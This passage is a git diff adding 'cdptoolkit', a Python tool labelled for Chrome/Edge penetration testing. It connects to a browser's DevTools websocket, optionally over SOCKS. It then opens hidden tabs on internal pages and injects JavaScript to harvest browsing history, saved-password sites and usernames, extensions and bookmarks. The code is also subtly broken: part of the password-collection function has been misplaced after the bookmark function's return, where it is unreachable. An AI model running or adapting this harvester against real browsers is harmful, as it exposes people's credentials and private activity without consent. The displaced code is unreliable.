'')[:12]} in {options.mode} mode") + print("Press Ctrl+C here or Close in the viewer to stop.") + try: + await server.wait_closed() + except asyncio.CancelledError: + pass + finally: + await runner.cleanup() + await server.close() diff --git a/cdptoolkit/transport.py b/cdptoolkit/transport.py new file mode 100644 index 0000000..5e97c14 --- /dev/null +++ b/cdptoolkit/transport.py @@ -0,0 +1,180 @@ +from __future__ import annotations + +import asyncio +import contextlib +import json +from collections import defaultdict +from typing import Any, Callable + +import websockets + +from .config import DEFAULT_TIMEOUT +from .log import info + + +class CDPError(RuntimeError): + pass + + +class CDPConnection: + def __init__(self, ws_url: str, proxy: str | None = None, timeout: float = DEFAULT_TIMEOUT): + self.ws_url = ws_url + self.proxy = proxy + self.timeout = timeout + self._ws = None + self._next_id = 0 + self._pending: dict[int, asyncio.Future] = {} + self._events: dict[str, list[dict]] = defaultdict(list) + self._event_waiters: dict[str, list[tuple[asyncio.Future, Callable[[dict], bool] | None]]] = defaultdict(list) + self._subscribers: list[tuple[asyncio.Queue, str | None, str | None]] = [] + self._reader_task: asyncio.Task | None = None + + async def __aenter__(self) -> "CDPConnection": + await self.connect() + return self + + async def __aexit__(self, exc_type, exc, tb) -> None: + await self.close() + + async def connect(self) -> None: + kwargs: dict[str, Any] = {"max_size": None} + if self.proxy: + kwargs["proxy"] = self.proxy + info("opening CDP websocket {}{}", self.ws_url, f" via {self.proxy}" if self.proxy else "") + try: + self._ws = await websockets.connect(self.ws_url, **kwargs) + except ImportError as exc: + if self.proxy: + raise CDPError("SOCKS WebSocket support requires python-socks[asyncio]. Reinstall the package with its current dependencies.") from exc + raise + except TypeError as exc: + if self.proxy: + raise CDPError("Installed websockets package does not support proxy=. Upgrade websockets or omit --socks.") from exc + raise + info("CDP websocket connected") + self._reader_task = asyncio.create_task(self._reader()) + + async def close(self) -> None: + if self._reader_task: + self._reader_task.cancel() + try: + await self._reader_task + except asyncio.CancelledError: + pass + self._reader_task = None + if self._ws: + info("closing CDP websocket") + await self._ws.close() + self._ws = None + for future in self._pending.values(): + if not future.done(): + future.cancel() + self._pending.clear() + + async def _reader(self) -> None: + assert self._ws is not None + async for raw in self._ws: + msg = json.loads(raw) + msg_id = msg.get("id") + if msg_id is not None and msg_id in self._pending: + future = self._pending.pop(msg_id) + if msg.get("error"): + err = msg["error"] + future.set_exception(CDPError(f"{err.get('message', 'CDP error')} ({err.get('code', 'unknown')})")) + else: + future.set_result(msg.get("result", {})) + continue + method = msg.get("method") + if method: + if method != "Page.screencastFrame": + self._events[method].append(msg) + if len(self._events[method]) > 100: + del self._events[method][:-100] + waiters = self._event_waiters.get(method, []) + remaining = [] + for future, predicate in waiters: + if future.done(): + continue + params = msg.get("params", {}) + if predicate is None or predicate(params): + future.set_result(msg) + else: + remaining.append((future, predicate)) + self._event_waiters[method] = remaining + for queue, session_id, subscriber_method in list(self._subscribers): + if session_id is not None and msg.get("sessionId") != session_id: + continue + if subscriber_method is not None and method != subscriber_method: + continue + try: + queue.put_nowait(msg) + except asyncio.QueueFull: + try: + queue.get_nowait() + except asyncio.QueueEmpty: + pass + with contextlib.suppress(asyncio.QueueFull): + queue.put_nowait(msg) + + async def send(self, method: str, params: dict | None = None, session_id: str | None = None, timeout: float | None = None) -> dict: + if not self._ws: + raise CDPError("CDP connection is not open") + self._next_id += 1 + msg_id = self._next_id + payload: dict[str, Any] = {"id": msg_id, "method": method, "params": params or {}} + if session_id: + payload["sessionId"] = session_id + info("CDP -> {}{} id={}", method, f" session={session_id[:8]}" if session_id else "", msg_id) + loop = asyncio.get_running_loop() + future = loop.create_future() + self._pending[msg_id] = future + await self._ws.send(json.dumps(payload, separators=(",", ":"))) + try: + result = await asyncio.wait_for(future, timeout or self.timeout) + info("CDP <- {} id={}", method, msg_id) + return result + finally: + self._pending.pop(msg_id, None) + + async def send_no_wait(self, method: str, params: dict | None = None, session_id: str | None = None) -> int: + if not self._ws: + raise CDPError("CDP connection is not open") + self._next_id += 1 + msg_id = self._next_id + payload: dict[str, Any] = {"id": msg_id, "method": method, "params": params or {}} + if session_id: + payload["sessionId"] = session_id + info("CDP -> {}{} id={} no-wait", method, f" session={session_id[:8]}" if session_id else "", msg_id) + await self._ws.send(json.dumps(payload, separators=(",", ":"))) + return msg_id + + async def wait_for_event( + self, + method: str, + predicate: Callable[[dict], bool] | None = None, + timeout: float | None = None, + ) -> dict: + loop = asyncio.get_running_loop() + future = loop.create_future() + waiter = (future, predicate) + self._event_waiters[method].append(waiter) + try: + return await asyncio.wait_for(future, timeout or self.timeout) + finally: + self._event_waiters[method] = [ + existing for existing in self._event_waiters[method] if existing[0] is not future + ] + + def subscribe_events( + self, + *, + session_id: str | None = None, + method: str | None = None, + maxsize: int = 1000, + ) -> asyncio.Queue: + queue: asyncio.Queue = asyncio.Queue(maxsize=maxsize) + self._subscribers.append((queue, session_id, method)) + return queue + + def unsubscribe_events(self, queue: asyncio.Queue) -> None: + self._subscribers = [subscriber for subscriber in self._subscribers if subscriber[0] is not queue] diff --git a/cdptoolkit/webui.py b/cdptoolkit/webui.py new file mode 100644 index 0000000..a541e29 --- /dev/null +++ b/cdptoolkit/webui.py @@ -0,0 +1,797 @@ +from __future__ import annotations + +import asyncio +import re +from typing import Any + +from .client import CDPClient +from .log import info + + +HOST_RE = re.compile( + r"(?i)\b(?:(?:https?://)?(?:localhost|\d{1,3}(?:\.\d{1,3}){3}|[a-z0-9-]+(?:\.[a-z0-9-]+)*\.[a-z]{2,})(?::\d{2,5})?(?:/[^\s]*)?)" +) +EXTENSION_ID_RE = re.compile(r"^ID\s*([a-p]{32})$", re.I) +VERSION_RE = re.compile(r"^\d+(?:\.\d+)+(?:[._-]\d+)?$") + +CONTROL_LINES = { + "passwords", + "settings", + "autofill", + "add", + "delete", + "edit", + "copy", + "search", + "never saved", + "saved passwords", + "export passwords", + "import passwords", + "check passwords", + "remove", + "details", + "errors", + "extensions", + "developer mode", + "keyboard shortcuts", + "open chrome web store", + "open microsoft edge add-ons", +} + + +DEEP_SCRAPE_JS = r""" +(() => { + const seenElements = new Set(); + const anchors = []; + const elements = []; + const lines = []; + const lineSeen = new Set(); + + function clean(value) { + return String(value || "").replace(/\u00a0/g, " ").replace(/[ \t\r\f\v]+/g, " ").trim(); + } + + function pushLines(value) { + for (const raw of String(value || "").split(/\n+/)) { + const line = clean(raw); + if (line && !lineSeen.has(line)) { + lineSeen.add(line); + lines.push(line); + } + } + } + + function visit(node) { + if (!node || seenElements.has(node)) return; + seenElements.add(node); + + if (node.nodeType === Node.ELEMENT_NODE) { + const el = node; + const text = clean(el.innerText || el.textContent || ""); + const aria = clean(el.getAttribute && el.getAttribute("aria-label")); + const title = clean(el.getAttribute && el.getAttribute("title")); + const role = clean(el.getAttribute && el.getAttribute("role")); + const id = clean(el.id || ""); + const cls = clean(el.className && String(el.className)); + const tag = clean(el.tagName || "").toLowerCase(); + const href = clean(el.href || el.getAttribute && el.getAttribute("href")); + + pushLines(el.innerText || el.textContent || ""); + if (text || aria || title || href) { + const item = { tag, text, aria, title, role, id, className: cls, href }; + elements.push(item); + if (tag === "a" || href) anchors.push(item); + } + + if (el.shadowRoot) visit(el.shadowRoot); + } + + const children = node.children ? Array.from(node.children) : []; + for (const child of children) visit(child); + } + + pushLines(document.body ? document.body.innerText : ""); + visit(document); + + return { + url: location.href, + title: document.title, + readyState: document.readyState, + lines, + anchors, + elements + }; +})() +""" + +HISTORY_READY_JS = r""" +(() => { + const app = document.querySelector('history-app'); + const list = app?.shadowRoot?.querySelector('history-list'); + return !!(list && Array.isArray(list.historyData_)); +})() +""" + +HISTORY_STATE_JS = r""" +(() => { + const list = document.querySelector('history-app')?.shadowRoot?.querySelector('history-list'); + if (!list) return {count: 0, finished: false, querying: false, ready: false}; + return { + count: list.historyData_?.length || 0, + finished: !!list.queryResult?.info?.finished, + querying: !!list.queryState?.querying, + ready: true + }; +})() +""" + +HISTORY_MORE_JS = r""" +(() => { + const list = document.querySelector('history-app')?.shadowRoot?.querySelector('history-list'); + if (!list?.onScrollToBottom_) return false; + list.onScrollToBottom_(); + return true; +})() +""" + +HISTORY_DATA_JS = r""" +(() => { + const list = document.querySelector('history-app')?.shadowRoot?.querySelector('history-list'); + return list?.historyData_ || []; +})() +""" + +PASSWORD_READY_JS = r""" +(() => { + const sec = document.querySelector('password-manager-app') + ?.shadowRoot?.querySelector('passwords-section'); + return !!sec?.__data?.groups_; +})() +""" + +PASSWORD_DATA_JS = r""" +(() => { + const sec = document.querySelector('password-manager-app') + ?.shadowRoot?.querySelector('passwords-section'); + const groups = sec?.__data?.groups_ || []; + return groups.map(group => ({ + site: group.name || "", + icon_url: group.iconUrl || "", + entry_count: (group.entries || []).length, + entries: (group.entries || []).map(entry => ({ + username: entry.username || "", + id: entry.id, + hidden: !!entry.hidden, + stored_in: entry.storedIn || "", + is_passkey: !!entry.isPasskey, + change_password_url: entry.changePasswordUrl || "", + affiliated_domains: (entry.affiliatedDomains || []).map(domain => ({ + name: domain.name || "", + signon_realm: domain.signonRealm || "", + url: domain.url || "" + })) + })) + })); +})() +""" + +EXTENSIONS_READY_JS = r""" +(() => { + const mgr = document.querySelector('extensions-manager'); + return !!(mgr?.constructor?.name === 'ExtensionsManagerElement' && mgr.extensions_); +})() +""" + +EXTENSIONS_DATA_JS = r""" +(() => { + const mgr = document.querySelector('extensions-manager'); + const items = mgr?.extensions_ || []; + return items.map(item => ({ + id: item.id || "", + name: item.name || "", + version: item.version || "", + description: item.description || "", + state: item.state || "", + type: item.type || "", + location: item.location || "", + pinned_to_toolbar: item.pinnedToToolbar, + incognito_enabled: item.incognitoAccess?.isActive, + file_access_enabled: item.fileAccess?.isActive, + homepage: item.homePage?.url || "", + update_url: item.updateUrl || "", + options_url: item.optionsPage?.url || "", + permissions: (item.permissions?.simplePermissions || []).map(perm => perm.message || ""), + host_permissions: (item.permissions?.runtimeHostPermissions?.hosts || []).map(host => host.host || ""), + views: (item.views || []).map(view => ({ + type: view.type || "", + url: view.url || "", + incognito: !!view.incognito + })) + })); +})() +""" + +BOOKMARKS_READY_JS = r""" +(() => typeof chrome !== 'undefined' && !!chrome.bookmarks && typeof chrome.bookmarks.getTree === 'function')() +""" + +BOOKMARKS_DATA_JS = r""" +chrome.bookmarks.getTree() +""" + + +def product_prefix(product: str | None) -> str: + product_l = (product or "").lower() + return "edge" if "edg" in product_l or "edge" in product_l else "chrome" + + +def history_urls(product: str | None) -> list[str]: + prefix = product_prefix(product) + if prefix == "edge": + return ["edge://history/all", "chrome://history/"] + return ["chrome://history/", "edge://history/all"] + + +def extension_urls(product: str | None) -> list[str]: + prefix = product_prefix(product) + if prefix == "edge": + return ["edge://extensions/", "chrome://extensions/"] + return ["chrome://extensions/", "edge://extensions/"] + + +def password_urls(product: str | None) -> list[str]: + prefix = product_prefix(product) + if prefix == "edge": + return [ + "edge://settings/autofill/passwords", + "edge://password-manager/passwords", + "chrome://password-manager/passwords", + "chrome://settings/passwords", + ] + return [ + "chrome://password-manager/passwords", + "chrome://settings/passwords", + "edge://settings/autofill/passwords", + "edge://password-manager/passwords", + ] + + +def bookmark_urls(product: str | None) -> list[str]: + prefix = product_prefix(product) + if prefix == "edge": + return ["edge://favorites/", "edge://favorites", "chrome://bookmarks/"] + return ["chrome://bookmarks/", "edge://favorites/", "edge://favorites"] + + +async def scrape_webui( + cdp: CDPClient, + urls: list[str], + *, + mode: str = "background", + wait: float = 2.0, +) -> dict[str, Any]: + last_error: Exception | None = None + for url in urls: + target_id: str | None = None + session = None + try: + info(f"opening temporary WebUI target {url!r} ({mode})") + target_id = await cdp.create_target(url, mode=mode) + session = await cdp.attach(target_id) + await session.send("Page.enable") + await asyncio.sleep(wait) + result = await session.evaluate(DEEP_SCRAPE_JS) + value = result.get("result", {}).get("value") or {} + if isinstance(value, dict): + value["targetId"] = target_id + value["requestedUrl"] = url + return value + except Exception as exc: # noqa: BLE001 - try fallback internal URL. + last_error = exc + info(f"WebUI scrape failed for {url!r}: {exc}") + finally: + if session is not None: + try: + await cdp.detach(session) + except Exception: + pass + if target_id is not None: + try: + await cdp.close_target(target_id) + except Exception: + pass + if last_error is not None: + raise last_error + raise RuntimeError("no WebUI URLs supplied") + + +async def _eval_value(session, expression: str) -> Any: + result = await session.evaluate(expression) + remote_object = result.get("result", {}) + if remote_object.get("subtype") == "error": + raise RuntimeError(f"evaluation returned error subtype: {remote_object}") + if "exceptionDetails" in result: + raise RuntimeError(str(result["exceptionDetails"])) + return remote_object.get("value") + + +async def _wait_for_true(session, expression: str, *, attempts: int = 20, delay: float = 0.5) -> None: + for _ in range(attempts): + if await _eval_value(session, expression) is True: + return + await asyncio.sleep(delay) + raise RuntimeError("WebUI model was not ready") + + +async def _run_in_webui_model( + cdp: CDPClient, + urls: list[str], + action, + *, + mode: str = "background", + wait: float = 0.5, +) -> Any: + last_error: Exception | None = None + for url in urls: + target_id: str | None = None + session = None + try: + info(f"opening temporary model target {url!r} ({mode})") + target_id = await cdp.create_target(url, mode=mode) + session = await cdp.attach(target_id) + await session.send("Runtime.enable") + await session.send("Page.enable") + await asyncio.sleep(wait) + return await action(session) + except Exception as exc: # noqa: BLE001 - try next internal URL or fallback path. + last_error = exc + info(f"WebUI model read failed for {url!r}: {exc}") + finally: + if session is not None: + try: + await cdp.detach(session) + except Exception: + pass + if target_id is not None: + try: + await cdp.close_target(target_id) + except Exception: + pass + if last_error is not None: + raise last_error + raise RuntimeError("no WebUI URLs supplied") + + +def _normalize_history_item(item: dict[str, Any]) -> dict[str, Any]: + return { + "title": item.get("title") or item.get("pageTitle") or "", + "url": item.get("url") or "", + "domain": item.get("domain") or "", + "time": item.get("time") or item.get("dateTimeOfDay") or "", + "date": item.get("dateRelativeDay") or item.get("dateShort") or "", + "starred": item.get("starred"), + "source": "history-webui-model", + } + + +def filter_history_items( + items: list[dict[str, Any]], + *, + text: str | None, + domain: str | None, + limit: int, +) -> list[dict[str, Any]]: + query = (text or "").lower() + domain_l = (domain or "").lower() + out: list[dict[str, Any]] = [] + seen: set[str] = set() + + for raw in items: + item = _normalize_history_item(raw) + url = str(item.get("url") or "") + title = str(item.get("title") or "") + if not url: + continue + haystack = f"{title}\n{url}\n{item.get('domain') or ''}".lower() + if query and query not in haystack: + continue + if domain_l and domain_l not in url.lower() and domain_l not in str(item.get("domain") or "").lower(): + continue + if url in seen: + continue + seen.add(url) + out.append(item) + if len(out) >= limit: + break + return out + + +async def collect_history( + cdp: CDPClient, + *, + text: str | None, + domain: str | None, + limit: int, + mode: str = "background", +) -> list[dict[str, Any]]: + async def action(session) -> list[dict[str, Any]]: + await _wait_for_true(session, HISTORY_READY_JS, attempts=12) + previous_count = -1 + for _ in range(50): + state = await _eval_value(session, HISTORY_STATE_JS) or {} + current_count = int(state.get("count") or 0) + if state.get("finished") is True: + break + if current_count >= limit and not text and not domain: + break + if not state.get("querying"): + if current_count == previous_count: + break + previous_count = current_count + await _eval_value(session, HISTORY_MORE_JS) + await asyncio.sleep(0.5) + items = await _eval_value(session, HISTORY_DATA_JS) or [] + return filter_history_items(items, text=text, domain=domain, limit=limit) + + if product_prefix(cdp.endpoint.product) == "edge": + raw = await scrape_webui(cdp, history_urls(cdp.endpoint.product), mode=mode) + return parse_history(raw, text, domain, limit) + + try: + return await _run_in_webui_model(cdp, history_urls(cdp.endpoint.product), action, mode=mode) + except Exception as exc: # noqa: BLE001 - Edge WebUI fallback. + info(f"falling back to generic history WebUI scrape: {exc}") + raw = await scrape_webui(cdp, history_urls(cdp.endpoint.product), mode=mode) + return parse_history(raw, text, domain, limit) + + +def _merge_live_extension_targets( + extensions: list[dict[str, Any]], + live_targets: list[dict[str, Any]], +) -> list[dict[str, Any]]: + live_by_id: dict[str, list[dict[str, Any]]] = {} + for target in live_targets: + url = str(target.get("url") or "") + match = re.search(r"chrome-extension://([a-p]{32})/", url) + if match: + live_by_id.setdefault(match.group(1), []).append(target) + + by_id = {str(item.get("id") or "").lower(): dict(item) for item in extensions if item.get("id")} + for ext_id, targets in live_by_id.items(): + by_id.setdefault( + ext_id, + { + "id": ext_id, + "name": "", + "version": "", + "description": "", + "state": "", + "type": "", + "location": "", + "permissions": [], + "host_permissions": [], + "views": [], + }, + ) + by_id[ext_id]["live_targets"] = targets + for ext_id, item in by_id.items(): + item.setdefault("live_targets", live_by_id.get(ext_id, [])) + return list(by_id.values()) + + +async def collect_extensions(cdp: CDPClient, *, mode: str = "hidden") -> list[dict[str, Any]]: + live_targets = await cdp.targets(include_non_pages=True) + + if product_prefix(cdp.endpoint.product) == "edge": + raw = await scrape_webui(cdp, extension_urls(cdp.endpoint.product), mode=mode) + return parse_extensions(raw, live_targets) + + async def action(session) -> list[dict[str, Any]]: + await _wait_for_true(session, EXTENSIONS_READY_JS, attempts=30) + items = await _eval_value(session, EXTENSIONS_DATA_JS) or [] + return _merge_live_extension_targets(items, live_targets) + + try: + return await _run_in_webui_model(cdp, extension_urls(cdp.endpoint.product), action, mode=mode) + except Exception as exc: # noqa: BLE001 - Edge WebUI fallback. + info(f"falling back to generic extensions WebUI scrape: {exc}") + raw = await scrape_webui(cdp, extension_urls(cdp.endpoint.product), mode=mode) + return parse_extensions(raw, live_targets) + + +async def collect_password_sites( + cdp: CDPClient, + *, + limit: int, + mode: str = "hidden", +) -> list[dict[str, Any]]: + async def action(session) -> list[dict[str, Any]]: + await _wait_for_true(session, PASSWORD_READY_JS, attempts=20) + groups = await _eval_value(session, PASSWORD_DATA_JS) or [] + return groups[:limit] + + if product_prefix(cdp.endpoint.product) == "edge": + raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode) + return parse_password_sites(raw, limit) + + +def flatten_bookmarks( + tree: list[dict[str, Any]], + *, + text: str | None, + domain: str | None, + limit: int, + include_folders: bool, +) -> list[dict[str, Any]]: + query = (text or "").lower() + domain_l = (domain or "").lower() + out: list[dict[str, Any]] = [] + + def emit(item: dict[str, Any]) -> None: + if len(out) < limit: + out.append(item) + + def walk(node: dict[str, Any], path: list[str]) -> None: + if len(out) >= limit: + return + + title = str(node.get("title") or "") + url = str(node.get("url") or "") + node_type = "bookmark" if url else "folder" + next_path = path if url or not title else [*path, title] + display_path = "/".join(path if url else next_path) + haystack = f"{title}\n{url}\n{display_path}".lower() + + if ( + (node_type == "bookmark" or include_folders) + and (not query or query in haystack) + and (not domain_l or domain_l in url.lower()) + ): + item = { + "type": node_type, + "id": node.get("id"), + "parentId": node.get("parentId"), + "title": title, + "url": url or None, + "path": display_path, + "dateAdded": node.get("dateAdded"), + "dateGroupModified": node.get("dateGroupModified"), + "source": "bookmarks-api", + } + emit(item) + + for child in node.get("children") or []: + if isinstance(child, dict): + walk(child, next_path) + + for root in tree: + if isinstance(root, dict): + walk(root, []) + return out + + +async def collect_bookmarks( + cdp: CDPClient, + *, + text: str | None, + domain: str | None, + limit: int, + include_folders: bool, + tree: bool, + mode: str = "hidden", +) -> list[dict[str, Any]]: + async def action(session): + await _wait_for_true(session, BOOKMARKS_READY_JS, attempts=10) + return await _eval_value(session, BOOKMARKS_DATA_JS) or [] + + try: + raw_tree = await _run_in_webui_model(cdp, bookmark_urls(cdp.endpoint.product), action, mode=mode) + if tree: + return raw_tree + return flatten_bookmarks(raw_tree, text=text, domain=domain, limit=limit, include_folders=include_folders) + except Exception as exc: # noqa: BLE001 - WebUI DOM fallback. + info(f"falling back to generic bookmarks WebUI scrape: {exc}") + raw = await scrape_webui(cdp, bookmark_urls(cdp.endpoint.product), mode=mode) + return parse_bookmarks(raw, text=text, domain=domain, limit=limit) + + try: + return await _run_in_webui_model(cdp, password_urls(cdp.endpoint.product), action, mode=mode) + except Exception as exc: # noqa: BLE001 - Edge WebUI fallback. + info(f"falling back to generic password WebUI scrape: {exc}") + raw = await scrape_webui(cdp, password_urls(cdp.endpoint.product), mode=mode) + return parse_password_sites(raw, limit) + + +def parse_history(raw: dict[str, Any], text: str | None, domain: str | None, limit: int) -> list[dict[str, Any]]: + query = (text or "").lower() + domain_l = (domain or "").lower() + seen: set[tuple[str, str]] = set() + out: list[dict[str, Any]] = [] + + for anchor in raw.get("anchors", []): + href = str(anchor.get("href") or "") + title = str(anchor.get("text") or anchor.get("aria") or anchor.get("title") or "").strip() + if not href.startswith(("http://", "https://")) or not title: + continue + haystack = f"{title}\n{href}".lower() + if query and query not in haystack: + continue + if domain_l and domain_l not in href.lower(): + continue + key = (href, title) + if key in seen: + continue + seen.add(key) + out.append( + { + "title": title, + "url": href, + "source_url": raw.get("url"), + } + ) + if len(out) >= limit: + break + return out + + +def parse_extensions(raw: dict[str, Any], live_targets: list[dict[str, Any]]) -> list[dict[str, Any]]: + lines = [str(line).strip() for line in raw.get("lines", []) if str(line).strip()] + live_by_id: dict[str, list[dict[str, Any]]] = {} + for target in live_targets: + url = str(target.get("url") or "") + match = re.search(r"chrome-extension://([a-p]{32})/", url) + if match: + live_by_id.setdefault(match.group(1), []).append(target) + + parsed: dict[str, dict[str, Any]] = {} + for idx, line in enumerate(lines): + match = EXTENSION_ID_RE.match(line) + if not match: + continue + ext_id = match.group(1).lower() + window = lines[max(0, idx - 8) : idx] + version = None + version_index = None + for offset in range(len(window) - 1, -1, -1): + if VERSION_RE.match(window[offset]): + version = window[offset] + version_index = max(0, idx - 8) + offset + break + + name = None + if version_index is not None: + for candidate in reversed(lines[max(0, version_index - 4) : version_index]): + if candidate.lower() not in CONTROL_LINES and candidate.lower() not in {"from store", "source"}: + name = candidate + break + if not name: + for candidate in reversed(window): + candidate_l = candidate.lower() + if candidate_l not in CONTROL_LINES and not VERSION_RE.match(candidate) and not candidate_l.startswith("id"): + name = candidate + break + + description = None + if version_index is not None: + desc_parts = [ + item + for item in lines[version_index + 1 : idx] + if item.lower() not in CONTROL_LINES and not item.lower().startswith("id") + ] + if desc_parts: + description = " ".join(desc_parts) + + active_views = [ + item + for item in lines[idx + 1 : min(len(lines), idx + 8)] + if item.lower() in {"service worker", "no active views"} or item.startswith("chrome-extension://") + ] + + parsed[ext_id] = { + "id": ext_id, + "name": name, + "version": version, + "description": description, + "active_views": active_views, + "live_targets": live_by_id.get(ext_id, []), + "source_url": raw.get("url"), + } + + for ext_id, targets in live_by_id.items(): + parsed.setdefault( + ext_id, + { + "id": ext_id, + "name": None, + "version": None, + "description": None, + "active_views": [], + "live_targets": targets, + "source_url": "Target.getTargets", + }, + ) + return list(parsed.values()) + + +def parse_password_sites(raw: dict[str, Any], limit: int) -> list[dict[str, Any]]: + lines = [str(line).strip() for line in raw.get("lines", []) if str(line).strip()] + out: list[dict[str, Any]] = [] + seen: set[str] = set() + + for idx, line in enumerate(lines): + line_l = line.lower() + if ( + line_l in CONTROL_LINES + or line_l.startswith(("edge://", "chrome://", "--")) + or (":" in line and line.endswith(";")) + ): + continue + match = HOST_RE.search(line) + if not match: + continue + site = match.group(0).rstrip(".,;)") + if site.lower() in seen: + continue + username = None + for neighbor in lines[idx + 1 : min(len(lines), idx + 5)]: + neighbor_l = neighbor.lower() + if ( + neighbor_l in CONTROL_LINES + or neighbor_l.startswith("--") + or (":" in neighbor and neighbor.endswith(";")) + or HOST_RE.search(neighbor) + ): + continue + if "@" in neighbor or len(neighbor) <= 80: + username = neighbor + break + seen.add(site.lower()) + out.append({"site": site, "username": username, "source_url": raw.get("url")}) + if len(out) >= limit: + break + return out + + +def parse_bookmarks( + raw: dict[str, Any], + *, + text: str | None, + domain: str | None, + limit: int, +) -> list[dict[str, Any]]: + query = (text or "").lower() + domain_l = (domain or "").lower() + seen: set[str] = set() + out: list[dict[str, Any]] = [] + + for anchor in raw.get("anchors", []): + href = str(anchor.get("href") or "") + title = str(anchor.get("text") or anchor.get("aria") or anchor.get("title") or "").strip() + if not href.startswith(("http://", "https://")) or not title: + continue + haystack = f"{title}\n{href}".lower() + if query and query not in haystack: + continue + if domain_l and domain_l not in href.lower(): + continue + key = href.lower() + if key in seen: + continue + seen.add(key) + out.append( + { + "type": "bookmark", + "id": None, + "parentId": None, + "title": title, + "url": href, + "path": None, + "dateAdded": None, + "dateGroupModified": None, + "source": "bookmarks-webui-scrape", + "source_url": raw.get("url"), + } + ) + if len(out) >= limit: + break + return out diff --git a/pyproject.toml b/pyproject.toml new file mode 100644 index 0000000..8627f80 --- /dev/null +++ b/pyproject.toml @@ -0,0 +1,26 @@ +[build-system] +requires = ["setuptools>=68", "wheel"] +build-backend = "setuptools.build_meta" + +[project] +name = "cdptoolkit" +version = "0.1.0" +description = "Python CDP toolkit for Chrome/Edge penetration test workflows" +readme = "README.md" +requires-python = ">=3.10" +dependencies = [ + "aiohttp>=3.10", + "cryptography>=42.0", + "httpx[socks]>=0.27", + "python-socks[asyncio]>=2.4", + "rich>=13.7", + "typer>=0.12", + "websockets>=15.0", +] + +[project.scripts] +cdptk = "cdptoolkit.cli:cli" + +[tool.setuptools.packages.find] +where = ["."] +include = ["cdptoolkit*"]